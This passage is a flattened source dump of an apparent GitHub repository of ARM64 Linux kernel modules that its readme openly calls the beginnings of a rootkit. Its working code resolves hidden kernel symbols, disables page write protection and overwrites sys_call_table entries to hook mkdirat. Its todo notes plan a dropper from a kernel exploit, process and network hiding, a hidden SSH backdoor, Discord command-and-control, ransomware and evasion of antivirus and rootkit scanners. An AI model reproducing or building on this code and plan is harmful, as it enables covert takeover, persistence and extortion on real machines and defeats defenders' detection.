*symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /phe/mkdir_hook/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | pte_t *page_from_virt(uintptr_t addr) { 8 | pgd_t *pgd; 9 | pud_t *pud; 10 | pmd_t *pmd; 11 | pte_t *ptep; 12 | 13 | struct mm_struct *init_mm_ptr = kallsyms_lookup_name_("init_mm"); 14 | pgd = pgd_offset(init_mm_ptr, addr); 15 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 16 | return NULL; 17 | } 18 | 19 | pud = pud_offset(pgd, addr); 20 | if (pud_none(*pud) || pud_bad(*pud)) { 21 | return NULL; 22 | } 23 | 24 | pmd = pmd_offset(pud, addr); 25 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 26 | return NULL; 27 | } 28 | 29 | ptep = pte_offset_map(pmd, addr); 30 | if (!ptep) { 31 | return NULL; 32 | } 33 | 34 | return ptep; 35 | } 36 | 37 | void pte_flip_write_protect(pte_t *ptep) { 38 | if (!pte_write(*ptep)) { 39 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 40 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 41 | return; 42 | } 43 | pte_wrprotect(*ptep); 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /phe/mkdir_ioctl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/phe/mkdir_ioctl -------------------------------------------------------------------------------- /phe/notes.txt: -------------------------------------------------------------------------------- 1 | https://stackoverflow.com/questions/18220980/playing-with-syscall-table-from-lkm 2 | 3 | // encrypt decryption keys for all functions 4 | // key schedule for all functions 5 | 6 | 7 | https://github.com/kokke/tiny-AES-c 8 | 9 | hook ptrace 10 | 11 | 12 | https://github.com/cenobyte-vincit/encrypted-linux-kernel-modules 13 | -------------------------------------------------------------------------------- /phe/old/direct_syscall_hook_v1.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_DIRECT_HOOK_H_ 2 | #define _RESOLV_DIRECT_HOOK_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | 8 | struct direct_syscall_hook { 9 | int number; 10 | void *new; 11 | void *orig; 12 | }; 13 | 14 | static void **sys_call_table_addr = NULL; 15 | 16 | static int resolve_syscall_table(void) { 17 | sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 18 | 19 | pte_t *sys_call_table_ptep = page_from_virt(sys_call_table_addr); 20 | if (!sys_call_table_ptep) { 21 | pr_info("debug: page_from_virt of %pK failed\n", sys_call_table_addr); 22 | return -ENOENT; 23 | } 24 | pr_info("debug: page_from_virt of %pK success, pte @ %pK\n", sys_call_table_addr, sys_call_table_ptep); 25 | 26 | // TODO: unset write bit after hook is finished 27 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 28 | pr_info("debug: flipping write protect flag...\n"); 29 | pte_flip_write_protect(sys_call_table_ptep); 30 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 31 | return 0; 32 | } 33 | 34 | void hook_syscall(struct direct_syscall_hook *hook) { 35 | if (!sys_call_table_addr) { 36 | resolve_syscall_table(); 37 | } 38 | hook->orig = sys_call_table_addr[hook->number]; 39 | pr_info("DEBUG: hook->orig (%pK)\n", hook->orig); 40 | // pte_flip_write_protect(page_from_virt(&sys_call_table_addr[hook->number])); 41 | sys_call_table_addr[hook->number] = hook->new; 42 | pr_info("debug: hook_syscall of #%i, orig @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 43 | } 44 | 45 | void unhook_syscall(struct direct_syscall_hook *hook) { 46 | if (!sys_call_table_addr) { 47 | resolve_syscall_table(); 48 | } 49 | sys_call_table_addr[hook->number] = hook->orig; 50 | pr_info("debug: unhook_syscall of #%i, orig restored @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 51 | } 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /phe/old/phe_v1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "resolve_kallsyms.h" 7 | #include "set_page_flags.h" 8 | #include "direct_syscall_hook_v1.h" 9 | 10 | #define S_IOCTL 0xfffffff 11 | 12 | MODULE_LICENSE("GPL"); 13 | MODULE_AUTHOR("0xwillow"); 14 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 15 | MODULE_VERSION("1.0"); 16 | 17 | // asmlinkage long (*orig_mkdir) (const struct pt_regs *); 18 | asmlinkage long (*orig_mkdir) (const char __user *path, umode_t mode); 19 | 20 | // asmlinkage long new_mkdir(const struct pt_regs *regs) { 21 | // pr_info("debug: got here\n"); 22 | // pr_info("debug: regs->regs[1] (%x), regs->regs[0] (%s)\n", regs->regs[1], regs->regs[0]); 23 | // if (regs->regs[1] == S_IOCTL) { 24 | // const char *key = regs->regs[0]; 25 | // pr_info("debug: mkdir recvd key (%s)\n", key); 26 | // // return 0; 27 | // } 28 | // return 0; 29 | // // return orig_mkdir(regs); 30 | // } 31 | 32 | asmlinkage long new_mkdir(const char __user *path, umode_t mode){ 33 | pr_info("debug: path (%s), mode (%i)\n", path, mode); 34 | if (mode == S_IOCTL) { 35 | pr_info("debug: mkdir recvd key (%s)\n", path); 36 | // return 0; 37 | } 38 | return 0; 39 | // return orig_mkdir(regs); 40 | } 41 | 42 | struct direct_syscall_hook hook = {__NR_mkdir, new_mkdir, &orig_mkdir}; 43 | 44 | static int __init hook_test_mod_init(void) { 45 | pr_info("debug: module loaded\n"); 46 | hook_syscall(&hook); 47 | return 0; 48 | } 49 | 50 | static void __exit hook_test_mod_exit(void) { 51 | pr_info("debug: module unloaded\n"); 52 | } 53 | 54 | 55 | module_init(hook_test_mod_init); 56 | module_exit(hook_test_mod_exit); 57 | -------------------------------------------------------------------------------- /phe/phe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | #include "direct_syscall_hook.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 12 | MODULE_VERSION("1.0"); 13 | 14 | static asmlinkage int (*orig_mkdirat) (const struct pt_regs *); 15 | 16 | asmlinkage int new_mkdirat(const struct pt_regs *regs) { 17 | char __user *pathname_usr_ptr = (char *) regs->regs[1]; 18 | char pathname[NAME_MAX] = {0}; 19 | strncpy_from_user(pathname, pathname_usr_ptr, NAME_MAX); // 256 bits 20 | pr_info("debug: mkdirat called :D, path (%s), fd (%i), mode (%lli)\n", pathname, (int) regs->regs[0], regs->regs[2]); 21 | if ((int) regs->regs[0] == -1) { 22 | return 0xdeadbeef; 23 | } 24 | return orig_mkdirat(regs); 25 | } 26 | 27 | struct direct_syscall_hook hook = {__NR_mkdirat, new_mkdirat, &orig_mkdirat}; 28 | 29 | static int __init hook_test_mod_init(void) { 30 | pr_info("debug: module loaded\n"); 31 | hook_syscall(&hook); 32 | return 0; 33 | } 34 | 35 | static void __exit hook_test_mod_exit(void) { 36 | pr_info("debug: module unloaded\n"); 37 | } 38 | 39 | 40 | module_init(hook_test_mod_init); 41 | module_exit(hook_test_mod_exit); 42 | -------------------------------------------------------------------------------- /phe/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /phe/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | pte_t *page_from_virt(uintptr_t addr) { 8 | pgd_t *pgd; 9 | pud_t *pud; 10 | pmd_t *pmd; 11 | pte_t *ptep; 12 | 13 | struct mm_struct *init_mm_ptr = kallsyms_lookup_name_("init_mm"); 14 | pgd = pgd_offset(init_mm_ptr, addr); 15 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 16 | return NULL; 17 | } 18 | 19 | pud = pud_offset(pgd, addr); 20 | if (pud_none(*pud) || pud_bad(*pud)) { 21 | return NULL; 22 | } 23 | 24 | pmd = pmd_offset(pud, addr); 25 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 26 | return NULL; 27 | } 28 | 29 | ptep = pte_offset_map(pmd, addr); 30 | if (!ptep) { 31 | return NULL; 32 | } 33 | 34 | return ptep; 35 | } 36 | 37 | void pte_flip_write_protect(pte_t *ptep) { 38 | if (!pte_write(*ptep)) { 39 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 40 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 41 | return; 42 | } 43 | pte_wrprotect(*ptep); 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /phe/todo.txt: -------------------------------------------------------------------------------- 1 | op-tee get calling addr ip 2 | 3 | map same virt to different phys 4 | hook exceptions, leave syscall table unmodified 5 | 6 | write a writeup eventually 7 | 8 | @ب-iamallama.amallamai-ب#0011 im trying to make my syscall hooking UD 9 | 10 | wyt of over-writing the exception handling code, checking the syscall no and then redirecting to two different tables, one un-overwritten and the other i have modifed, system.map will still show the original table and the original addresses 11 | -------------------------------------------------------------------------------- /phe/usermode/usermode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define S_IOCTL 0xfffffff 5 | 6 | int main(int argc, char *argv[]) { 7 | int err = mkdirat(-1, argv[1], 0); 8 | printf("err: %lx\n", err); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /rain_king/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rain_king.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /rain_king/direct_syscall_hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_DIRECT_HOOK_H_ 2 | #define _RESOLV_DIRECT_HOOK_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | 8 | struct direct_syscall_hook { 9 | int number; 10 | void *new; 11 | void *orig; 12 | }; 13 | 14 | void **sys_call_table_addr = NULL; 15 | 16 | static int resolve_syscall_table(void) { 17 | sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 18 | return 0; 19 | } 20 | 21 | void hook_syscall(struct direct_syscall_hook *hook) { 22 | if (!sys_call_table_addr) { 23 | resolve_syscall_table(); 24 | } 25 | *((uintptr_t *) hook->orig) = sys_call_table_addr[hook->number]; 26 | 27 | pte_t *ptep = page_from_virt(&sys_call_table_addr[hook->number]); 28 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 29 | 30 | pr_info("debug: flipping write protect flag...\n"); 31 | pte_flip_write_protect(page_from_virt(&sys_call_table_addr[hook->number])); 32 | 33 | ptep = page_from_virt(&sys_call_table_addr[hook->number]); 34 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", &sys_call_table_addr[hook->number], pte_write(*ptep)); 35 | 36 | sys_call_table_addr[hook->number] = hook->new; 37 | pr_info("debug: hook_syscall of #%i, orig @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 38 | } 39 | 40 | void unhook_syscall(struct direct_syscall_hook *hook) { 41 | if (!sys_call_table_addr) { 42 | resolve_syscall_table(); 43 | } 44 | sys_call_table_addr[hook->number] = hook->orig; 45 | pr_info("debug: unhook_syscall of #%i, orig restored @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 46 | } 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /rain_king/mkdir_ioctl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/rain_king/mkdir_ioctl -------------------------------------------------------------------------------- /rain_king/rain_king.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | #include "direct_syscall_hook.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 12 | MODULE_VERSION("1.0"); 13 | 14 | static asmlinkage int (*orig_mkdirat) (const struct pt_regs *); 15 | 16 | asmlinkage int new_mkdirat(const struct pt_regs *regs) { 17 | char __user *pathname_usr_ptr = (char *) regs->regs[1]; 18 | char pathname[NAME_MAX] = {0}; 19 | strncpy_from_user(pathname, pathname_usr_ptr, NAME_MAX); // 256 bits 20 | pr_info("debug: mkdirat called :D, path (%s), fd (%i), mode (%lli)\n", pathname, (int) regs->regs[0], regs->regs[2]); 21 | if ((int) regs->regs[0] == -1) { 22 | return 0xdeadbeef; 23 | } 24 | return orig_mkdirat(regs); 25 | } 26 | 27 | struct direct_syscall_hook hook = {__NR_mkdirat, new_mkdirat, &orig_mkdirat}; 28 | 29 | static int __init hook_test_mod_init(void) { 30 | pr_info("debug: module loaded\n"); 31 | hook_syscall(&hook); 32 | return 0; 33 | } 34 | 35 | static void __exit hook_test_mod_exit(void) { 36 | pr_info("debug: module unloaded\n"); 37 | } 38 | 39 | 40 | module_init(hook_test_mod_init); 41 | module_exit(hook_test_mod_exit); 42 | -------------------------------------------------------------------------------- /rain_king/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /rain_king/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | pte_t *page_from_virt(uintptr_t addr) { 8 | pgd_t *pgd; 9 | pud_t *pud; 10 | pmd_t *pmd; 11 | pte_t *ptep; 12 | 13 | struct mm_struct *init_mm_ptr = kallsyms_lookup_name_("init_mm"); 14 | pgd = pgd_offset(init_mm_ptr, addr); 15 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 16 | return NULL; 17 | } 18 | 19 | pud = pud_offset(pgd, addr); 20 | if (pud_none(*pud) || pud_bad(*pud)) { 21 | return NULL; 22 | } 23 | 24 | pmd = pmd_offset(pud, addr); 25 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 26 | return NULL; 27 | } 28 | 29 | ptep = pte_offset_map(pmd, addr); 30 | if (!ptep) { 31 | return NULL; 32 | } 33 | 34 | return ptep; 35 | } 36 | 37 | void pte_flip_write_protect(pte_t *ptep) { 38 | if (!pte_write(*ptep)) { 39 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 40 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 41 | return; 42 | } 43 | pte_wrprotect(*ptep); 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /ransom/notes.txt: -------------------------------------------------------------------------------- 1 | https://www.linuxfixes.com/2021/11/solved-arm64-linux-memory-write.html?m=0 2 | https://www.kernel.org/doc/gorman/html/understand/understand006.html 3 | -------------------------------------------------------------------------------- /readme.txt: -------------------------------------------------------------------------------- 1 | . .. . 2 | @88> < .z@8"` @88> 3 | .u . %8P u. u. !@88E %8P u. u. 4 | .d88B :@8c u . x@88k u@88c. '888E u . x@88k u@88c. uL 5 | ="8888f8888r us888u. .@88u ^"8888""8888" 888E u@8NL .@88u ^"8888""8888" .ue888Nc.. 6 | 4888>'88" .@88 "8888" ''888E` 8888 888R 888E`"88*" ''888E` 8888 888R d88E`"888E` 7 | 4888> ' 9888 9888 888E 8888 888R 888E .dN. 888E 8888 888R 888E 888E 8 | 4888> 9888 9888 888E 8888 888R 888E~8888 888E 8888 888R 888E 888E 9 | .d888L .+ 9888 9888 888E 8888 888R 888E '888& 888E 8888 888R 888E 888E 10 | ^"8888*" 9888 9888 888& "*88*" 8888" 888E 9888. 888& "*88*" 8888" 888& .888E 11 | "Y" "888*""888" R888" "" 'Y" '"888*" 4888" R888" "" 'Y" *888" 888& 12 | ^Y" ^Y' "" "" "" "" `" "888E 13 | .dWi `88E 14 | 4888~ J8% 15 | ^"===*"` 16 | "rain wont drop until i say so" 17 | --------------------------------------------- 18 | a collection of tests and random bits that will eventually make up a rootkit 19 | 20 | 21 | /ARM_write_protect_disable - flip write protection bit of vaddr through pagetable 22 | /direct_hook_test - system call hooking via directly over-writing sys_call_table 23 | - some useful header files here 24 | -> resolve_kallsyms.h: does exactly as youd expect, uses kprobes to find kallsyms_lookup_name and then uses that to resolve syms 25 | -> set_page_flags.h: given a vaddr, set its corresponding PTEs flags 26 | -> direct_syscall_hook.h: ftrace-like wrapper for direct hooking of sys_call_table 27 | /fg-kaslr_test - fg-kaslr bypass, this isnt actually anything important i was just using pr_info wrong 28 | /ftrace_hook_epic_fail - FTRACE_OPS_FL_SAVE_REGS is not supported on arm64 and i spent 2 days debugging this, however this will work on x86 29 | /phe - partial homomorphic encryption of LKM, unfinished 30 | /exception_handler hooking - THIS IS THE COOLEST ONE, hooks exception handler and redirects to 2 different tables based on syscall #, original table unmodified 31 | /assembler - assembles mov absolute address for shellcode generation on the fly without leaving kernelmode ! 32 | 33 | todo: 34 | - dropper 35 | - find fg-kaslr offsets via bootkit 36 | - overwrite ftrace records 37 | - integrate functionality of my other projects into this one 38 | - finish rk scanner hiding via PHE 39 | - process hiding from usermode 40 | - network connection hiding from usermode 41 | - redirect entire sys_call_table 42 | - use OP-TEE to hide functions 43 | 44 | 45 | 46 | 47 | new exception hooking process: 48 | copy (el0_svc_common entry, length x) -> hooked_el0_svc_common 49 | copy shellcode (jmp hooked_el0_svc_common, length x) -> el0_svc_common 50 | 51 | el0_svc_common entry 52 | 0 --------------- 53 | jmp hooked_el0_svc_common 54 | x --------------- 55 | el0_svc_common body 56 | 57 | >>>>>>>>>>> 58 | 59 | hooked_el0_svc_common entry 60 | 0 --------------- 61 | OVERWRITTEN el0_svc_common body 62 | x --------------- 63 | set sys_call_table to new addr 64 | jmp el0_svc_common entry + x 65 | -------------------------------------------------------------------------------- /tmp.txt: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "debug.h" 7 | 8 | // struct ftrace_hook { 9 | // const char *name; 10 | // void *new; 11 | // void *orig; 12 | // 13 | // unsigned long addr; 14 | // struct ftrace_ops ops; 15 | // }; 16 | // 17 | // typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 18 | // // in ftrace.h but not exported lol 19 | // kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 20 | // 21 | // int get_kallsyms_lookup_name(void) { 22 | // static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; 23 | // if (register_kprobe(&kp) < 0) { 24 | // return -ENOENT; 25 | // } 26 | // 27 | // kallsyms_lookup_name_ = (kallsyms_lookup_name_t) kp.addr; 28 | // pr_info("debug: kallsyms_lookup_name_ %p\n", kallsyms_lookup_name_); 29 | // unregister_kprobe(&kp); 30 | // return 0; 31 | // } 32 | 33 | int get_addr_of_symbol(const char *symbol_name) { 34 | static struct kprobe kp = {.symbol_name = symbol_name}; 35 | if (register_kprobe(&kp) < 0) { 36 | return -ENOENT; 37 | } 38 | 39 | unsigned long tmp = kp.addr; 40 | pr_info("debug: get_addr_of_symbol %p\n", tmp); 41 | unregister_kprobe(&kp); 42 | return tmp; 43 | } 44 | 45 | 46 | static int fh_get_func_addr(struct ftrace_hook *hook) { 47 | // if (!kallsyms_lookup_name_) { 48 | // get_kallsyms_lookup_name(); 49 | // } 50 | hook->addr = get_addr_of_symbol(hook->name); 51 | pr_info("debug: hook->name %s\n", hook->name); 52 | pr_info("debug: hook->addr %p\n", hook->addr); 53 | if (!hook->addr) { 54 | return -ENOENT; 55 | } 56 | 57 | *((unsigned long*) hook->orig) = hook->addr; 58 | return 0; 59 | } 60 | 61 | static void fh_callback(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 62 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 63 | if (!within_module(parent_ip, THIS_MODULE)) { 64 | regs->pc = (unsigned long) hook->new; 65 | pr_info("debug: reached end of fh_callback\n"); 66 | } 67 | } 68 | 69 | int fh_install_hook(struct ftrace_hook *hook) { 70 | if (!hook) { 71 | return -ENOENT; 72 | } 73 | 74 | int err; 75 | err = fh_get_func_addr(hook); 76 | if (err) { 77 | pr_info("debug: fh_get_func_addr failed\n"); 78 | return err; 79 | } 80 | 81 | hook->ops.func = fh_callback; 82 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 83 | | FTRACE_OPS_FL_RECURSION_SAFE 84 | | FTRACE_OPS_FL_IPMODIFY; 85 | 86 | pr_info("debug: hook state after set func + flag"); 87 | debug_fh_hook(hook); 88 | 89 | // https://www.kernel.org/doc/html/v5.4/trace/ftrace-uses.html 90 | // hook->addr doesnt match /proc/kallsym 91 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 92 | // err = ftrace_set_filter(&(hook->ops), hook->name, strlen(hook->name), 0); 93 | if (err) { 94 | pr_info("debug: ftrace_set_filter_ip failed\n"); 95 | return err; 96 | } 97 | 98 | 99 | err = register_ftrace_function(&hook->ops); 100 | if (err) { 101 | pr_info("debug: register_ftrace_function failed\n"); 102 | return err; 103 | } 104 | 105 | return 0; 106 | } 107 | 108 | void fh_remove_hook(struct ftrace_hook *hook) { 109 | unregister_ftrace_function(&hook->ops); 110 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 111 | } 112 | -------------------------------------------------------------------------------- /todo.txt: -------------------------------------------------------------------------------- 1 | okay lets make this shit happen 2 | 3 | first things first 4 | dropper: repurpose a linux kernel exploit POC 5 | 6 | rk: hide from process list and prevent process from being killed 7 | start and hide ssh server as persistent backdoor 8 | hide itself from kernel log and module list 9 | 10 | ransomware itself 11 | 12 | - discord based c2 13 | 14 | finally, some sort of obfuscation it does not have to be too complicated 15 | - need to write some sort of packer for arm 16 | 17 | remember arm is weird so sudo -s works but sudo doesnt 18 | 19 | // https://nskernel.gitbook.io/kernel-play-guide/accessing-the-non-exported-in-modules 20 | 21 | since ``kallsyms_lookup_name`` isnt exported anymore and ``kprobe`` is detected by AVs, this could be adapted to a pretty cool method to resolve non exported kernel symbols without disabling KASLR 22 | 23 | https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/ 24 | 25 | 26 | implement r0memdump into rk 27 | as well as container escapes 28 | 29 | prefix: __arm64_ 30 | 31 | // long unsigned int (**)(const char *) tmp = kallsyms_lookup_name_; 32 | // tmp = (long unsigned int (*)(const char *)) kp.addr; 33 | 34 | // kallsyms_lookup_name_ = (long unsigned int (*)(const char *)) kp.addr; 35 | 36 | 37 | // hook = kmalloc(sizeof(ftrace_hook), GFP_KERNEL); 38 | // if (!hook) { 39 | // return -ENOENT; 40 | // } 41 | // hook = {"sys_kill", hook_kill, &orig_kill, NULL, {NULL, NULL, NULL}}; 42 | 43 | kill pids that fuck with the kernel LOL ! 44 | disable insmod and unload all other kernel modules 45 | 46 | hook pte_offset_map 47 | 48 | reorganize code to stop it all from being in headers my GOD 49 | -------------------------------------------------------------------------------- /unknown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/unknown.png -------------------------------------------------------------------------------- /writeup.txt: -------------------------------------------------------------------------------- 1 | hooking linux systemcalls with ftrace (ARM) 2 | -------------------------------------------------- 3 | before reading this writeup, please read: 4 | https://www.kernel.org/doc/html/v4.17/trace/ftrace-uses.html 5 | 6 | https://linux.kernel.narkive.com/5wB5Zg8K/patch-ftrace-core-0-2-ftrace-kprobes-introduce-ipmodify-flag-for-ftrace-ops-to-detect-conflicts 7 | 8 | i have a few questions about hooking system calls on linux, specifically on ARM 9 | 10 | after reading: 11 | https://www.kernel.org/doc/html/v4.17/trace/ftrace-uses.html 12 | and 13 | https://linux.kernel.narkive.com/5wB5Zg8K/patch-ftrace-core-0-2-ftrace-kprobes-introduce-ipmodify-flag-for-ftrace-ops-to-detect-conflicts 14 | 15 | i couldn't find any documentation on the ``FTRACE_OPS_FL_IPMODIFY`` flag but i assume it forces ``regs->pc`` point to the entry of the syscall 16 | and if u set ``regs->pc = my_function_addr``, once the callback exits, ``regs`` will be loaded then it will jump to my_function 17 | 18 | i am extremely confused about a certain stackoverflow post 19 | in this post: https://stackoverflow.com/questions/42966520/restoring-task-pt-regs-when-returning-to-original-function-from-ftrace-handler 20 | the author set ``regs->pc = new_addr`` and wants to use the pt_regs passed to the syscall but never pushes it to the stack ? 21 | if my_function looks like ``asmlinkage void my_function(const struct pt_regs *regs)``, how on earth does pt_regs end up on the stack ? 22 | 23 | 24 | http://bitboom.github.io/anatomy-of-kpatch 25 | 26 | get pointer to ftrace_hook from ops 27 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 28 | 29 | 30 | 31 | foo() ftrace 32 | +------------+ +-------------+ hook +-----------------+ 33 | | call foo() | => | call fentry | ===> | save regs | 34 | +------------+ +-------------+ +-----------------+ 35 | | ... | | // ... | | call ftrace_ops | -- 36 | | | +-------------+ +-----------------+ | 37 | | | | // ret | | restore regs | | 38 | | | +-------------+ +-----------------+ | 39 | | | | ret regs->ip | | 40 | | | <= new foo() <=== | * new foo() | | 41 | | | +-------------+ +-----------------+ | 42 | +------------+ | ... | | 43 | +-------------+ +-----------------+ | 44 | | ret | | get new ip |<-- 45 | +-------------+ | from hash table | 46 | +-----------------+ 47 | | change regs->ip | 48 | +-----------------+ 49 | | ret | 50 | +-----------------+ 51 | --------------------------------------------------------------------------------